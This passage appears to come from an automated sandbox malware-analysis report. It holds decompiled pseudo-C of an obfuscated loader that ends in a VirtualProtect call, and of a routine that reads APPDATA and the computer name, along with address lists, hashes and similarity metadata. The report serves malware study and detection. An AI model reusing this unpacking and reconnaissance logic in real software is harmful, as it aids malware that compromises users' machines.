								 *(_t577 + 0x41bc69) =  *(_t577 + 0x41bc69) ^ (_t589 ^ _v12 | _t520);
								_t589 = _v12;
							}
							_t518 = E043A43BB(_t577, _t708, _t748, _t748); // executed
							_t517 = E043A2726(_t518, _t577, _t589, _t708, _t748, _t748);
						}
						return _t517;
					} else {
						if( *(_t572 + 0x41bb64) == 0) {
							_t539 =  *((intOrPtr*)(_t572 + 0x491c0fc))( *((intOrPtr*)(_t572 + 0x41b9c0)), _t633, _t589);
							 *(_t572 + 0x41bb64) =  *(_t572 + 0x41bb64) & 0x00000000;
							 *(_t572 + 0x41bb64) =  *(_t572 + 0x41bb64) | _t589 ^  *_t778 | _t539;
							_t612 = _t589;
							_t633 = _t633 & 0x00000000 ^  *_t778;
							_t778 = _t778 - 0xfffffffc;
							_pop( *_t243);
							_t589 = (_t612 & 0x00000000) + _v16;
						}
						do {
							asm("movsb");
							if( *(_t572 + 0x41b30f) == 0) {
								_t525 =  *((intOrPtr*)(_t572 + 0x491c07c))(_t763, _t633, _t589);
								_v16 = _t633;
								 *(_t572 + 0x41b30f) =  *(_t572 + 0x41b30f) & 0x00000000;
								 *(_t572 + 0x41b30f) =  *(_t572 + 0x41b30f) | _t633 ^ _v16 | _t525;
								_t633 =  *_t778;
								_t782 = _t778 - 0xfffffffc;
								_t589 =  *_t782;
								_t778 =  &(_t782[1]);
							}
							_t589 = _t589 - 1;
						} while (_t589 != 0);
						if( *(_t572 + 0x41b788) == 0) {
							_t538 =  *((intOrPtr*)(_t572 + 0x491c100))( *((intOrPtr*)(_t572 + 0x41b4b5)), 0, _t633);
							_v16 = _t633;
							 *(_t572 + 0x41b788) =  *(_t572 + 0x41b788) & 0x00000000;
							 *(_t572 + 0x41b788) =  *(_t572 + 0x41b788) ^ _t633 ^ _v16 ^ _t538;
							_t633 =  *_t778;
							_t778 = _t778 - 0xfffffffc;
						}
						_t716 = _t694 & 0x00000000 | _t763 & 0x00000000 ^  *(_t572 + 0x41b1df);
						_t763 = _t763;
						if( *(_t572 + 0x41bcc3) == 0) {
							_t537 =  *((intOrPtr*)(_t572 + 0x491c074))(_t633);
							_v12 = _t589;
							 *(_t572 + 0x41bcc3) =  *(_t572 + 0x41bcc3) & 0x00000000;
							 *(_t572 + 0x41bcc3) =  *(_t572 + 0x41bcc3) | _t589 - _v12 ^ _t537;
							_t589 = _v12;
							_t633 = _t633 & 0x00000000 ^  *_t778;
							_t778 =  &(_t778[1]);
						}
						 *(_t572 + 0x41b39c) = 0x40;
						if( *(_t572 + 0x41b4d9) == 0) {
							_t536 =  *((intOrPtr*)(_t572 + 0x491c108))(_t633);
							_v16 = _t589;
							 *(_t572 + 0x41b4d9) =  *(_t572 + 0x41b4d9) & 0x00000000;
							 *(_t572 + 0x41b4d9) =  *(_t572 + 0x41b4d9) ^ (_t589 & 0x00000000 | _t536);
							_t589 = _v16;
							_t633 =  *_t778;
							_t778 = _t778 - 0xfffffffc;
						}
						_t283 = _t572 + 0x41b39c; // 0x41b39c
						_t526 = _t283;
						if( *(_t572 + 0x41bc51) == 0) {
							_t285 = _t572 + 0x41bb34; // 0x41bb34
							_t533 = _t285;
							 *_t533 = 0x30;
							_t534 =  *((intOrPtr*)(_t572 + 0x491c104))( *((intOrPtr*)(_t572 + 0x41b8e4)), _t633, _t526);
							_v16 = _t589;
							 *(_t572 + 0x41bc51) =  *(_t572 + 0x41bc51) & 0x00000000;
							 *(_t572 + 0x41bc51) =  *(_t572 + 0x41bc51) | _t589 & 0x00000000 | _t534;
							_t589 = _v16;
							_pop( *_t294);
							_t633 = (_t633 & 0x00000000) + _v12;
							 *_t296 = _t533;
							_t526 = _t534 & 0x00000000 | _v16;
						}
						_push(_t526);
						if( *(_t572 + 0x41bab5) == 0) {
							_t532 =  *((intOrPtr*)(_t572 + 0x491c07c))( *((intOrPtr*)(_t572 + 0x41b390)), _t633);
							 *(_t572 + 0x41bab5) =  *(_t572 + 0x41bab5) & 0x00000000;
							 *(_t572 + 0x41bab5) =  *(_t572 + 0x41bab5) | _t716 & 0x00000000 ^ _t532;
							_t716 = _t716;
							_pop( *_t305);
							_t633 = 0 + _v16;
						}
						_push(2);
						if( *(_t572 + 0x41b267) == 0) {
							_t531 =  *((intOrPtr*)(_t572 + 0x491c074))(_t633);
							 *(_t572 + 0x41b267) =  *(_t572 + 0x41b267) & 0x00000000;
							 *(_t572 + 0x41b267) =  *(_t572 + 0x41b267) ^ _t763 & 0x00000000 ^ _t531;
							_t763 = _t763;
							_t633 = _t633 & 0x00000000 ^  *_t778;
							_t778 =  &(_t778[1]);
						}
						_push(_t633);
						if( *(_t572 + 0x41b094) == 0) {
							_t530 =  *((intOrPtr*)(_t572 + 0x491c074))();
							_v12 = _t736;
							 *(_t572 + 0x41b094) = 0 ^ _t530;
							_t736 = _v12;
						}
						_push(_t716);
						if( *(_t572 + 0x41b953) == 0) {
							_t529 =  *((intOrPtr*)(_t572 + 0x491c074))();
							 *(_t572 + 0x41b953) =  *(_t572 + 0x41b953) & 0x00000000;
							 *(_t572 + 0x41b953) =  *(_t572 + 0x41b953) ^ (_t633 & 0x00000000 | _t529);
							_t633 = _t633; // executed
						}
						VirtualProtect();
						if( *(_t572 + 0x41b541) == 0) {
							_t528 =  *((intOrPtr*)(_t572 + 0x491c0fc))( *((intOrPtr*)(_t572 + 0x41b49c)));
							 *(_t572 + 0x41b541) =  *(_t572 + 0x41b541) & 0x00000000;
							 *(_t572 + 0x41b541) =  *(_t572 + 0x41b541) | _t763 ^  *_t778 ^ _t528;
							_t763 = _t763;
						}
						goto L69;
					}
				}
				if( *(_t563 + 0x41b2f7) == 0) {
					_t562 =  *((intOrPtr*)(_t563 + 0x491c108))(_t626, _t578);
					_v16 = _t626;
					 *(_t563 + 0x41b2f7) = 0 ^ _t562;
					_t626 =  *_t778;
					_t783 = _t778 - 0xfffffffc;
					_t578 =  *_t783;
					_t778 =  &(_t783[1]);
				}
				_t556 =  *((intOrPtr*)(_t563 + 0x491c078))(_t563 + 0x41b414, _t626, _t578);
				 *(_t563 + 0x41bc29) =  *(_t563 + 0x41bc29) & 0x00000000;
				 *(_t563 + 0x41bc29) =  *(_t563 + 0x41bc29) ^ (_t578 & 0x00000000 | _t556);
				_t623 = _t578;
				_pop( *_t23);
				_t671 = 0 + _v16;
				_push(_t671);
				if( *(_t563 + 0x41b421) == 0) {
					_t561 =  *((intOrPtr*)(_t563 + 0x491c0fc))( *((intOrPtr*)(_t563 + 0x41b26b)));
					_v16 = _t731;
					 *(_t563 + 0x41b421) =  *(_t563 + 0x41b421) & 0x00000000;
					 *(_t563 + 0x41b421) =  *(_t563 + 0x41b421) | _t731 & 0x00000000 | _t561;
					_t731 = _v16;
				}
				_push( *((intOrPtr*)(_t563 + 0x41b9b3)));
				if( *(_t563 + 0x41bc49) == 0) {
					_t560 =  *((intOrPtr*)(_t563 + 0x491c0fc))(0);
					_v16 = _t671;
					 *(_t563 + 0x41bc49) =  *(_t563 + 0x41bc49) & 0x00000000;
					 *(_t563 + 0x41bc49) =  *(_t563 + 0x41bc49) ^ (_t671 - _v16 | _t560);
					_t671 = _v16;
				}
				_t485 =  *((intOrPtr*)(_t563 + 0x491c0fc))();
				if( *((intOrPtr*)(_t563 + 0x41b8f4)) == 0) {
					_t558 =  *((intOrPtr*)(_t563 + 0x491c108))();
					_v16 = _t731;
					 *((intOrPtr*)(_t563 + 0x41b8f4)) = _t558;
					_t731 = _v16;
					 *_t50 = _t485;
					_t485 = _v12;
				}
				 *(_t563 + 0x41bb0e) =  *(_t563 + 0x41bb0e) & 0x00000000;
				 *(_t563 + 0x41bb0e) =  *(_t563 + 0x41bb0e) ^ _t671 & 0x00000000 ^ _t485;
				_t674 = _t671;
				if( *(_t563 + 0x41b780) == 0) {
					_t485 =  *((intOrPtr*)(_t563 + 0x491c07c))(0);
					 *(_t563 + 0x41b780) =  *(_t563 + 0x41b780) & 0x00000000;
					 *(_t563 + 0x41b780) =  *(_t563 + 0x41b780) | _t688 & 0x00000000 ^ _t485;
					_t688 = _t688;
				}
				_pop( *_t62);
				_t626 = _t674 & 0x00000000 ^ _v12;
				if( *(_t563 + 0x41b9cc) == 0) {
					_t485 =  *((intOrPtr*)(_t563 + 0x491c100))( *((intOrPtr*)(_t563 + 0x41b182)), _t731, _t626);
					_v16 = _t731;
					 *(_t563 + 0x41b9cc) =  *(_t563 + 0x41b9cc) & 0x00000000;
					 *(_t563 + 0x41b9cc) =  *(_t563 + 0x41b9cc) | _t731 & 0x00000000 ^ _t485;
					_t731 = _v16;
					_pop( *_t73);
					_t626 = (_t626 & 0x00000000) + _v16;
				}
				_t578 = (_t623 & 0x00000000) +  *_t778;
				_t778 = _t778 - 0xfffffffc;
				if( *(_t563 + 0x41b714) == 0) {
					_t557 = _t563 + 0x41b273;
					 *_t557 = 0x30;
					_t485 =  *((intOrPtr*)(_t563 + 0x491c104))( *((intOrPtr*)(_t563 + 0x41b4c1)), _t626, _t578);
					_v16 = _t626;
					 *(_t563 + 0x41b714) =  *(_t563 + 0x41b714) & 0x00000000;
					 *(_t563 + 0x41b714) =  *(_t563 + 0x41b714) | _t626 - _v16 | _t485;
					_pop( *_t86);
					_t626 = _v16;
					 *_t88 = _t557;
					_t578 = _v16;
				}
				goto L17;
			}

0x043a28a5
0x043a28a5
0x043a28a5
0x043a28a5
0x043a28a5
0x043a28b2
0x043a28b4
0x043a28b5
0x043a28b6
0x043a28be
0x043a28c5
0x043a28c8
0x043a28cb
0x043a28d3
0x043a28d6
0x043a28d9
0x043a28dc
0x043a28dc
0x043a28e6
0x043a2aad
0x043a2aad
0x043a2ab5
0x043a2ac4
0x043a2acb
0x043a2ace
0x043a2ad1
0x043a2add
0x043a2ae0
0x043a2ae0
0x043a2aea
0x043a2af7
0x043a2afc
0x043a2b02
0x043a2b0a
0x043a2b11
0x043a2b17
0x043a2b1a
0x043a2b1d
0x043a2b1d
0x043a2b20
0x043a2b28
0x043a2b30
0x043a2b36
0x043a2b3e
0x043a2b45
0x043a2b4b
0x043a2b4b
0x043a2b4e
0x043a2b54
0x043a2b5c
0x043a2b63
0x043a2b69
0x043a2b6e
0x043a2b71
0x043a2b71
0x043a2b74
0x043a2b7c
0x043a2b85
0x043a2b8b
0x043a2b93
0x043a2b9a
0x043a2ba0
0x043a2ba0
0x043a2bad
0x043a2baf
0x043a2bb7
0x043a2bbb
0x043a2bc1
0x043a2bc9
0x043a2bd0
0x043a2bd6
0x043a2bdf
0x043a2be2
0x043a2be2
0x043a2be5
0x043a2bef
0x043a2bfa
0x043a2bfd
0x043a2c00
0x043a2c08
0x043a2c0b
0x043a2c0b
0x043a2c0e
0x043a2c16
0x043a2c26
0x043a2c29
0x043a2c2c
0x043a2c34
0x043a2c37
0x043a2c37
0x043a2c43
0x043a2c45
0x043a2c4d
0x043a2c4f
0x043a2c5b
0x043a2c62
0x043a2c68
0x043a2c68
0x043a2c69
0x043a2c74
0x043a2c7c
0x043a2c82
0x043a2c8a
0x043a2c91
0x043a2c97
0x043a2c9c
0x043a2c9f
0x043a2c9f
0x043a2ca8
0x043a2cac
0x043a2caf
0x043a2cb7
0x043a2cbe
0x043a2cc4
0x043a2ccb
0x043a2cd1
0x043a2cd1
0x043a2cdc
0x043a2ce2
0x043a2cea
0x043a2cf1
0x043a2cf7
0x043a2cfa
0x043a2d06
0x043a2d08
0x043a2d13
0x043a2d1b
0x043a2d22
0x043a2d28
0x043a2d2f
0x043a2d35
0x043a2d40
0x043a2d42
0x043a2d4c
0x043a2d55
0x043a2d5d
0x043a2d64
0x043a2d6a
0x043a2d6d
0x043a2d70
0x043a2d70
0x043a2d7d
0x043a2d7f
0x043a2d87
0x043a2d8b
0x043a2d97
0x043a2d9e
0x043a2da4
0x043a2da7
0x043a2daa
0x043a2daa
0x043a2dad
0x043a2db8
0x043a2dba
0x043a2dc4
0x043a2dce
0x043a2dda
0x043a2de1
0x043a2de7
0x043a2dea
0x043a2ded
0x043a2df6
0x043a2df9
0x043a2df9
0x043a2dfe
0x043a306d
0x043a306f
0x043a3072
0x043a307c
0x043a307e
0x043a3086
0x043a308d
0x043a3093
0x043a3093
0x043a309d
0x043a309f
0x043a30a0
0x043a30a7
0x043a30b3
0x043a30ba
0x043a30c0
0x043a30c1
0x043a30c1
0x043a30c9
0x043a30cd
0x043a30d3
0x043a30d9
0x043a30e0
0x043a30e6
0x043a30e7
0x043a30ea
0x043a30ed
0x043a30f0
0x043a30f8
0x043a30fe
0x043a3104
0x043a310a
0x043a3111
0x043a3117
0x043a3118
0x043a3120
0x043a3122
0x043a312c
0x043a312f
0x043a312f
0x043a3136
0x043a313e
0x043a3146
0x043a314d
0x043a3153
0x043a3156
0x043a3159
0x043a3159
0x043a315c
0x043a3166
0x043a3169
0x043a3169
0x043a3170
0x043a317c
0x043a3188
0x043a318f
0x043a3195
0x043a319c
0x043a319f
0x043a319f
0x043a31a2
0x043a31ac
0x043a31b0
0x043a31bc
0x043a31c3
0x043a31c9
0x043a31d0
0x043a31d3
0x043a31d3
0x043a31d6
0x043a31e3
0x043a31ee
0x043a31fa
0x043a3201
0x043a3207
0x043a3208
0x043a320b
0x043a320b
0x043a320e
0x043a320e
0x043a320e
0x043a3217
0x043a321f
0x043a3225
0x043a322d
0x043a3234
0x043a323a
0x043a323a
0x043a323f
0x043a3242
0x043a324c
0x043a324e
0x043a325a
0x043a3261
0x043a3267
0x043a3267
0x043a3271
0x043a3273
0x043a327b
0x043a327d
0x043a327d
0x043a3284
0x043a3290
0x043a329c
0x043a32a3
0x043a32a9
0x043a32a9
0x043a32aa
0x043a32aa
0x043a32aa
0x043a32ba
0x043a32c4
0x043a32d0
0x043a32d7
0x043a32dd
0x043a32dd
0x043a32e0
0x043a32e3
0x043a32ed
0x043a32f7
0x043a32fd
0x043a3303
0x043a330a
0x043a3310
0x043a3311
0x043a331d
0x043a331f
0x043a3329
0x043a3337
0x043a333a
0x043a333d
0x043a3345
0x043a3348
0x043a3348
0x043a3352
0x043a3359
0x043a3365
0x043a336c
0x043a3372
0x043a3379
0x043a337c
0x043a337f
0x043a3387
0x043a338e
0x043a3394
0x043a339e
0x043a33a7
0x043a33ad
0x043a33b4
0x043a33ba
0x043a33ba
0x043a33bd
0x043a33cc
0x043a33ce
0x043a33d8
0x043a33db
0x043a33e1
0x043a33e8
0x043a33ee
0x043a33f4
0x043a33fd
0x043a33ff
0x043a33ff
0x043a3406
0x043a340e
0x043a3414
0x043a341c
0x043a3423
0x043a3429
0x043a3429
0x043a342d
0x043a3433
0x043a3433
0x043a3449
0x043a2e04
0x043a2e0b
0x043a2e15
0x043a2e21
0x043a2e28
0x043a2e2e
0x043a2e35
0x043a2e38
0x043a2e41
0x043a2e44
0x043a2e44
0x043a2e47
0x043a2e47
0x043a2e4f
0x043a2e54
0x043a2e5a
0x043a2e62
0x043a2e69
0x043a2e74
0x043a2e77
0x043a2e7c
0x043a2e7f
0x043a2e7f
0x043a2e82
0x043a2e82
0x043a2e8c
0x043a2e97
0x043a2e9d
0x043a2ea5
0x043a2eac
0x043a2eb7
0x043a2eba
0x043a2eba
0x043a2eca
0x043a2ecc
0x043a2ed4
0x043a2ed7
0x043a2edd
0x043a2ee5
0x043a2eec
0x043a2ef2
0x043a2efb
0x043a2efe
0x043a2efe
0x043a2f01
0x043a2f12
0x043a2f15
0x043a2f1b
0x043a2f23
0x043a2f2a
0x043a2f30
0x043a2f35
0x043a2f38
0x043a2f38
0x043a2f3b
0x043a2f3b
0x043a2f48
0x043a2f4c
0x043a2f4c
0x043a2f53
0x043a2f5f
0x043a2f65
0x043a2f6d
0x043a2f74
0x043a2f7a
0x043a2f83
0x043a2f86
0x043a2f8f
0x043a2f92
0x043a2f92
0x043a2f95
0x043a2f9d
0x043a2fa6
0x043a2fb2
0x043a2fb9
0x043a2fbf
0x043a2fc2
0x043a2fc5
0x043a2fc5
0x043a2fc8
0x043a2fd1
0x043a2fd4
0x043a2fe0
0x043a2fe7
0x043a2fed
0x043a2ff4
0x043a2ff7
0x043a2ff7
0x043a2ffa
0x043a3002
0x043a3004
0x043a300a
0x043a3011
0x043a3017
0x043a3017
0x043a301a
0x043a3022
0x043a3024
0x043a3030
0x043a3037
0x043a303d
0x043a303d
0x043a303e
0x043a304b
0x043a3053
0x043a305f
0x043a3066
0x043a306c
0x043a306c
0x00000000
0x043a304b
0x043a2dfe
0x043a28f3
0x043a28f7
0x043a28fd
0x043a2904
0x043a2913
0x043a2916
0x043a291b
0x043a291e
0x043a291e
0x043a292a
0x043a2936
0x043a293d
0x043a2943
0x043a2946
0x043a2949
0x043a294c
0x043a2954
0x043a295c
0x043a2962
0x043a296a
0x043a2971
0x043a2977
0x043a2977
0x043a297a
0x043a2987
0x043a298b
0x043a2991
0x043a2999
0x043a29a0
0x043a29a6
0x043a29a6
0x043a29a9
0x043a29b6
0x043a29b9
0x043a29bf
0x043a29c6
0x043a29cc
0x043a29d1
0x043a29d4
0x043a29d4
0x043a29dd
0x043a29e4
0x043a29ea
0x043a29f2
0x043a29f6
0x043a2a02
0x043a2a09
0x043a2a0f
0x043a2a0f
0x043a2a16
0x043a2a19
0x043a2a23
0x043a2a2d
0x043a2a33
0x043a2a3b
0x043a2a42
0x043a2a48
0x043a2a51
0x043a2a54
0x043a2a54
0x043a2a5d
0x043a2a60
0x043a2a6a
0x043a2a6e
0x043a2a75
0x043a2a81
0x043a2a87
0x043a2a8f
0x043a2a96
0x043a2aa1
0x043a2aa4
0x043a2aa7
0x043a2aaa
0x043a2aaa
0x00000000

APIs

VirtualProtect.KERNEL32(?,00000000,00000002,0041B39C,?,?,?,00000000), ref: 043A303E

Memory Dump Source

Source File: 00000003.00000002.872769981.00000000043A0000.00000040.00000001.sdmp, Offset: 043A0000, based on PE: true

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 8a3e8bb8ea241eb06bef403cea37a63aa8ecc89e511074eeaaacce833b9389a8
Instruction ID: a75fb66f05f7655da8a20d2b430fd9374f4ac6e6cc134a7e9454602f91e9ca00
Opcode Fuzzy Hash: 8a3e8bb8ea241eb06bef403cea37a63aa8ecc89e511074eeaaacce833b9389a8
Instruction Fuzzy Hash: 27824C32944204EFFF04CFA1C889B9A7BB5FF84315F08C1A9DD599E199CB781164CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 043A4BC1, Relevance: 1.8, APIs: 1, Instructions: 271libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(00000000), ref: 043A4D03

Memory Dump Source

Source File: 00000003.00000002.872769981.00000000043A0000.00000040.00000001.sdmp, Offset: 043A0000, based on PE: true

Similarity

API ID: AddressProc
String ID:
API String ID: 190572456-0
Opcode ID: 8a3eba13e43ed768acc99f2e52b70a1839d4683b0891f9c8666b9a5f01994b70
Instruction ID: ba0fcca98085b4878ca587b510bce45d8191785ee31fb2a832761d592bae81ab
Opcode Fuzzy Hash: 8a3eba13e43ed768acc99f2e52b70a1839d4683b0891f9c8666b9a5f01994b70
Instruction Fuzzy Hash: 4EC18E72944215DFEF00CFA0C889BEA7BB4FF48311F0895A9ED599E09ACB745060CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 10003B10, Relevance: 108.7, APIs: 47, Strings: 14, Instructions: 1941
processsleepstringCOMMON

Download Yara Rule

C-Code - Quality: 49%

			E10003B10(void* __ebx, void* __edi, void* __esi) {
				int _v8;
				char _v16;
				signed int _v20;
				short _v65556;
				intOrPtr _v65684;
				char _v65700;
				void* _v65704;
				char _v65724;
				char _v65748;
				void* _v65848;
				intOrPtr _v65852;
				char _v65868;
				void* _v65872;
				intOrPtr _v65876;
				char _v65892;
				void* _v65896;
				intOrPtr _v65900;
				char _v65916;
				intOrPtr _v65924;
				char _v65940;
				void* _v66016;
				int _v66020;
				char _v66036;
				int _v66040;
				signed int _v66044;
				char _v66060;
				void* _v66064;
				int _v66068;
				char _v66084;
				void* _v66088;
				int _v66092;
				char _v66108;
				void* _v66112;
				int _v66116;
				char _v66132;
				void* _v66136;
				int _v66140;
				char _v66156;
				void* _v66160;
				unsigned int _v66164;
				char _v66180;
				long _v66184;
				void* _v66188;
				int _v66192;
				char _v66208;
				void* _v66212;
				int _v66216;
				char _v66232;
				void* _v66236;
				int _v66240;
				char _v66256;
				void* _v66260;
				int _v66264;
				char _v66280;
				void* _v66352;
				intOrPtr _v66368;
				intOrPtr _v66372;
				intOrPtr _v66376;
				char _v66380;
				char _v66392;
				intOrPtr* _v66440;
				void* _v66448;
				char _v66452;
				void _v66456;
				char* _v66460;
				void* _v66464;
				int _v66468;
				char* _v66472;
				void* _v66476;
				signed int _v66480;
				char _v66484;
				char _v66488;
				signed int _t658;
				signed int _t659;
				char* _t662;
				char _t663;
				char* _t665;
				char _t666;
				int _t672;
				intOrPtr _t674;
				intOrPtr* _t683;
				int _t689;
				intOrPtr _t691;
				intOrPtr* _t700;
				intOrPtr* _t704;
				void** _t708;
				void* _t712;
				void* _t716;
				void* _t718;
				void* _t727;
				intOrPtr _t729;
				void* _t736;
				void* _t740;
				signed int _t742;
				signed int _t744;
				signed int _t745;
				intOrPtr _t757;
				intOrPtr _t760;
				intOrPtr _t763;
				intOrPtr _t766;
				intOrPtr _t771;
				intOrPtr _t791;
				intOrPtr _t794;
				long _t804;
				void* _t805;
				void* _t807;
				intOrPtr _t808;
				void* _t813;
				intOrPtr* _t814;
				void* _t823;
				intOrPtr _t829;
				intOrPtr _t832;
				intOrPtr _t837;
				intOrPtr _t840;
				intOrPtr* _t843;
				intOrPtr* _t847;
				void* _t860;
				intOrPtr _t871;
				intOrPtr _t874;
				intOrPtr _t877;
				intOrPtr _t880;
				intOrPtr* _t885;
				intOrPtr* _t889;
				signed int _t891;
				signed int _t893;
				signed int _t897;
				char* _t908;
				intOrPtr _t909;
				void _t912;
				intOrPtr _t915;
				intOrPtr _t918;
				intOrPtr _t921;
				intOrPtr _t924;
				intOrPtr _t927;
				intOrPtr _t930;
				intOrPtr _t933;
				intOrPtr _t936;
				intOrPtr _t939;
				intOrPtr _t947;
				intOrPtr* _t955;
				intOrPtr _t962;
				intOrPtr _t965;
				intOrPtr _t972;
				intOrPtr _t982;
				intOrPtr _t985;
				char* _t1008;
				char* _t1011;
				intOrPtr* _t1016;
				int _t1023;
				intOrPtr* _t1025;
				int _t1032;
				intOrPtr* _t1035;
				int _t1037;
				char* _t1039;
				char* _t1048;
				intOrPtr* _t1050;
				char* _t1054;
				intOrPtr* _t1059;
				intOrPtr* _t1061;
				intOrPtr* _t1063;
				char _t1072;
				char _t1073;
				intOrPtr _t1074;
				intOrPtr _t1075;
				intOrPtr _t1076;
				char _t1084;
				int _t1085;
				char _t1087;
				char _t1088;
				char _t1089;
				char _t1091;
				void* _t1096;
				char _t1101;
				char _t1102;
				intOrPtr* _t1106;
				void* _t1111;
				intOrPtr _t1115;
				intOrPtr _t1116;
				intOrPtr _t1117;
				intOrPtr _t1118;
				char _t1125;
				void* _t1126;
				void* _t1127;
				char _t1128;
				char _t1129;
				char _t1130;
				char _t1131;
				char _t1132;
				char _t1133;
				char _t1134;
				char _t1135;
				char _t1136;
				intOrPtr* _t1137;
				int _t1144;
				char _t1146;
				char _t1147;
				char _t1148;
				char _t1149;
				char _t1150;
				char _t1151;
				char _t1152;
				int _t1154;
				void* _t1158;
				intOrPtr* _t1164;
				void* _t1165;
				void* _t1166;
				signed int _t1167;
				void* _t1168;
				intOrPtr* _t1174;
				void* _t1175;
				void* _t1176;
				signed int _t1177;
				int _t1179;
				void* _t1180;
				signed int _t1181;
				void* _t1182;
				int _t1185;
				void* _t1186;
				void* _t1190;
				void* _t1191;
				void* _t1192;
				intOrPtr* _t1193;
				void* _t1194;
				void* _t1195;
				void* _t1196;
				void* _t1197;
				void* _t1198;
				void* _t1199;
				void* _t1200;
				void* _t1201;
				void* _t1202;
				void* _t1203;
				void* _t1204;
				void* _t1205;
				intOrPtr _t1209;
				void* _t1210;
				void* _t1211;
				void* _t1212;
				void* _t1214;
				void* _t1215;
				void* _t1216;
				void* _t1217;
				void* _t1218;
				intOrPtr _t1220;
				void* _t1221;
				void* _t1223;
				void* _t1224;
				void* _t1225;
				void* _t1226;
				void* _t1227;
				void* _t1228;
				int _t1229;
				int _t1231;
				void* _t1232;
				void* _t1233;
				void* _t1234;
				void* _t1235;
				void* _t1236;
				void* _t1237;
				void* _t1238;
				void* _t1239;
				void* _t1240;
				void* _t1241;
				void* _t1242;
				intOrPtr* _t1249;
				void* _t1250;
				void* _t1251;
				void* _t1252;
				void* _t1253;
				void* _t1254;
				void* _t1255;
				void* _t1256;
				void* _t1257;
				void* _t1259;
				void* _t1260;
				intOrPtr _t1264;
				intOrPtr _t1265;
				void* _t1267;
				char* _t1270;
				intOrPtr* _t1271;
				intOrPtr* _t1272;
				void* _t1276;
				void* _t1280;
				void* _t1283;
				void* _t1288;
				char* _t1290;
				char* _t1291;
				void* _t1294;
				void* _t1297;
				signed int _t1301;
				signed int _t1303;
				void* _t1304;
				void* _t1305;
				void* _t1306;
				void* _t1307;
				char* _t1308;
				void* _t1309;
				void* _t1310;
				void* _t1311;
				void* _t1312;
				void* _t1313;
				char* _t1314;
				void* _t1315;
				void* _t1316;
				void* _t1317;
				void* _t1320;
				void* _t1321;
				void* _t1322;
				void* _t1323;
				void* _t1324;
				void* _t1415;
				void* _t1430;
				void* _t1444;
				void* _t1454;

				_t1007 = __ebx;
				_t1301 = _t1303;
				_push(0xffffffff);
				_push(E100097D1);
				_push( *[fs:0x0]);
				E100092B0();
				_t658 =  *0x1000d004; // 0xa8dded82
				_t659 = _t658 ^ _t1301;
				_v20 = _t659;
				_push(__esi);
				_push(__edi);
				_push(_t659);
				 *[fs:0x0] =  &_v16;
				_v66480 = 0;
				Sleep(0x17); // executed
				_t662 = getenv("APPDATA");
				_t1156 = _t662;
				_v66240 = 0;
				_t1008 = _t662;
				_v66236 = 0xf;
				_t1304 = _t1303 + 4;
				_v66256 = 0;
				_t7 =  &(_t1008[1]); // 0x1
				_t1263 = _t7;
				goto L1;
				do {
					L3:
					_t666 =  *_t1011;
					_t1011 =  &(_t1011[1]);
				} while (_t666 != 0);
				E10006CC0(__ebx,  &_v66232, _t1157, _t1157, _t1011 - _t1276);
				_v8 = 1;
				_v66184 = 0x7fff;
				_v66068 = 0;
				_v66064 = 0xf;
				_v66084 = 0;
				E10006CC0(__ebx,  &_v66084, _t1157, 0x1000a2e5, 0);
				_v8 = 3;
				_v66264 = 0;
				_v66260 = 0xf;
				_v66280 = 0;
				E10006CC0(__ebx,  &_v66280, _t1157, "0", 1);
				_v8 = 4;
				__imp__signal(0x16, E10003B00);
				_t1306 = _t1305 + 8;
				_t672 = GetComputerNameW( &_v65556,  &_v66184); // executed
				if(_t672 != 0) {
					__eflags = 0;
					_v66044 = 0;
					_t1016 =  &_v65556;
					_v66040 = 7;
					_v66060 = 0;
					_t1158 = _t1016 + 2;
					do {
						_t674 =  *_t1016;
						_t1016 = _t1016 + 2;
						__eflags = _t674;
					} while (_t674 != 0);
					_push(_t1016 - _t1158 >> 1);
					E100069D0(__ebx,  &_v66060, _t1263, _t1276,  &_v65556);
					_v8 = 5;
					__eflags = _v66040 - 8;
					_t1160 =  >=  ? _v66060 :  &_v66060;
					_v66092 = 0;
					_v66088 = 0xf;
					_v66108 = 0;
					_t1277 = ( >=  ? _v66060 :  &_v66060) + _v66044 * 2;
					_t1162 =  >=  ? _v66060 :  &_v66060;
					_v66468 =  >=  ? _v66060 :  &_v66060;
					E10007BE0( &_v66108, ( >=  ? _v66060 :  &_v66060) + _v66044 * 2 - ( >=  ? _v66060 :  &_v66060) >> 1);
					_push(_v66484);
					E100080F0( &_v66108, _v66468, ( >=  ? _v66060 :  &_v66060) + _v66044 * 2);
					_v8 = 6;
					_t683 = E100070C0( &_v66156,  &_v66108, "\t\t");
					_t1306 = _t1306 + 4;
					_v8 = 7;
					_t1164 = _t683;
					__eflags =  *((intOrPtr*)(_t683 + 0x14)) - 0x10;
					if( *((intOrPtr*)(_t683 + 0x14)) >= 0x10) {
						_t1164 =  *_t683;
					}
					_t1263 =  *(_t683 + 0x10);
					_t1276 = _v66064;
					_t1023 = _v66068;
					_push(_t1263);
					_push(_t1164);
					__eflags = _t1263 - _t1276 - _t1023;
					if(_t1263 > _t1276 - _t1023) {
						_v66468 = 0;
						_push(_v66468);
						_push(_t1263);
						E100079E0(_t1007,  &_v66084, _t1263);
					} else {
						__eflags = _t1276 - 0x10;
						_v66068 = _t1023 + _t1263;
						_t1000 =  >=  ? _v66084 :  &_v66084;
						_t1276 = ( >=  ? _v66084 :  &_v66084) + _t1023;
						memmove(_t1276, ??, ??);
						_t1306 = _t1306 + 0xc;
						 *((char*)(_t1276 + _t1263)) = 0;
					}
					_v8 = 6;
					_t1165 = _v66136;
					__eflags = _t1165 - 0x10;
					if(_t1165 >= 0x10) {
						_t1084 = _v66156;
						_t1185 = _t1165 + 1;
						_t784 = _t1084;
						__eflags = _t1185 - 0x1000;
						if(_t1185 >= 0x1000) {
							_t1084 =  *((intOrPtr*)(_t1084 - 4));
							_t1185 = _t1185 + 0x23;
							_t784 = _t784 - _t1084 + 0xfffffffc;
							__eflags = _t784 - 0x1f;
							if(_t784 > 0x1f) {
								L18:
								__imp___invalid_parameter_noinfo_noreturn();
							}
						}
						_push(_t1185);
						E10008291(_t784, _t1084);
						_t1306 = _t1312 + 8;
					}
					_v8 = 5;
					_t1166 = _v66088;
					__eflags = _t1166 - 0x10;
					if(_t1166 < 0x10) {
						L24:
						_v8 = 4;
						_t1167 = _v66040;
						__eflags = _t1167 - 8;
						if(_t1167 >= 8) {
							_t1087 = _v66060;
